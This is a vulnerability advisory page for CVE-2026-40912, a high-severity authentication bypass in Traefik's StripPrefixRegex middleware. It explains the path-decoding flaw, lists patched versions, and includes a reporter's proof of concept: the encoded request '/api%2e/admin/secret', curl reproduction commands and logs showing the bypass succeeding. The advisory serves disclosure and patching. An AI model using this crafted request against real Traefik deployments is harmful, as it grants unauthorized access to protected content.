Skip to main content

CVE-2026-40912 — Vulnerability in traefik/traefik/v2 — CVE Details

HIGH

Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

Published April 24, 2026Updated July 21, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.72%). Schedule for your next planned update.

Does your project use an affected github.com/traefik/traefik/v2 version?

Paste your go.sum to check it for CVE-2026-40912 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

Details

pkg/middlewares/stripprefixregex/strip_prefix_regex.go, line 62:

req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

  • GET /api%20/admin/secret
  • Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
  • Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
  • RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
  • ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
  • Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.


Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret
-> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret
-> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows
-> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret      -> 403 (blocked)
GET /api%2e/admin/secret   -> 200 (bypass — served protected content)
GET /api%20/admin/secret   -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret'    -> DENIED
X-Forwarded-Uri: '/./admin/secret'  -> ALLOWED

Reproduction:

docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

Advisory Timeline

  • First published April 24, 2026 (216 days ago).
  • Last revised July 21, 2026 — 88 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/traefik/traefik/v2 to 2.11.43 or later
go get github.com/traefik/traefik/v2@v2.11.43
Go
Update github.com/traefik/traefik/v3 to 3.6.14 or later
go get github.com/traefik/traefik/v3@v3.6.14
Go
Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later
go get github.com/traefik/traefik/v3@v3.7.0-rc.2

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: Go (3).

PackageFixed In
github.com/traefik/traefik/v2 Go · Affected: All versions2.11.43
github.com/traefik/traefik/v3 Go · Affected: All versions3.6.14
github.com/traefik/traefik/v3 Go · Affected: All versions3.7.0-rc.2
github.com/traefik/traefik Go · Affected: All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2026-40912?
Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.2/10).
How do I check if my project is affected by CVE-2026-40912?
CVE-2026-40912 affects github.com/traefik/traefik/v2, github.com/traefik/traefik/v3 and github.com/traefik/traefik. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40912 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.2

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.72%
EPSS percentile: 49.7

This is a below-median EPSS score — only 49.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-6jwx-7vp4-9847
GO-2026-5180

Related CVEs

  • CVE-2026-65600
    CRITICAL

    Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

  • CVE-2026-71324
    HIGH

    Traefik: Cross-user response poisoning via proxied CONNECT on Traefik's shared backend keep-alive pool

  • CVE-2026-39858
    HIGH

    Traefik: Pre-authentication decision bypass due to forwarded alias spoofing

  • CVE-2026-35051
    HIGH

    Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

  • CVE-2025-32431
    HIGH

    Traefik has a possible vulnerability with its path matchers

  • CVE-2026-53622
    HIGH

    Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

  • CVE-2026-32305
    HIGH

    Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config

  • CVE-2026-44774
    MEDIUM

    Traefik: Gateway API TraefikService backend accepts rest@internal, allowing unauthorized exposure of the REST provider despite providers.rest.insecure=false

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum